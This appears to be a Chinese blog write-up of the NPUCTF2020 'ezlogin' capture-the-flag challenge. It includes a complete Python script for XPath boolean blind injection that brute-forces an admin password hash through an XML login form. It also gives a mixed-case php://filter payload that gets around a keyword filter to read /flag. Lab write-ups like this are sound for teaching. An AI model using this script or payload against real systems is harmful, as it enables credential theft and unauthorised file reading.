[NPUCTF2020]ezlogin

0x01

首页如上,是一个登录的页面,而且这个页面是有时间限制的,超过一定时间没登录就需要刷新页面重新登录。我们抓包看看

登录的时候一个session只能存在一定的时间,通过抓包的内容来看,这里要用到Xpath的知识点

关于Xpath参考https://www.cnblogs.com/backlion/p/8554749.html

xpath注入主要有两种,一种是普通的注入,另外一种是布尔注入。普通注入对应union注入,使用|来完成和union类似的功能,布尔注入则是布尔盲注。

这里使用大佬的脚本爆破

import requests
import string
import time
import re
session = requests.session()
base_url = 'you_address'
success = '??'
payload = "' or substring({target},{index},1)='{char}' or '"

chars = string.ascii_letters+string.digits


def get_csrf():
    res = session.get(base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
                                         'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}).text
    return re.findall('<input.*value="(.*?)"./>', res)[0]


target = 'string(/*[1]/*[1]/*[2]/*[3])'
# username adm1n
# password cf7414b5bdb2e65ee43083f4ddbc4d9f
data = '<username>{username}</username><password>1</password><token>{token}</token>'

result = 'cf7414b5bdb2e65ee43'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
           'Content-Type': 'application/xml',
           'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}
for i in range(20, 35):
    for j in chars:
        time.sleep(0.2)
        temp_payload = payload.format(target=target, index=str(i), char=j)

        token = get_csrf()

        temp_data = data.format(username=temp_payload, token=token)
        res = session.post(url=base_url+'login.php',
                           data=temp_data, headers=headers)
        # print(temp_data)
        # print(res.text)
        # print(len(res.text))
        if len(res.text) == 5:
            result += j
            break
    print(result)

通过爆破得知存在账号为adm1n,密码为cf7414b5bdb2e65ee43083f4ddbc4d9f的用户,密码通过md5解密得到为gtfly123,然后我们用这个账号登录进去

0x02

登录进去以后查看源代码,发现如下提示

猜测是base64加密,所以这里用base64解密

结果提示我们flag在 /flag中,告诉了我们路径,看来我们需要来读取文件了,到这里我们来看一下登陆进去后的url

这部是典型的文件读取协议么,那么我们尝试用php://filter伪协议来读取文件

payload

?file=pHp://filter/convert.bASe64-encode/resource=/flag

经过尝试,php和base进行了过滤,这里可以用大写来进行绕过

返回页面查看源码,如下图

猜测还是base64加密,我们用base64解密一下,解密结果如下

拿到flag

总结

这道题很新颖的注入姿势就是Xpath注入,这个是我以前没有见到过的。

posted @ 2020-07-16 21:16  怪味巧克力  阅读(214)  评论(0编辑  收藏  举报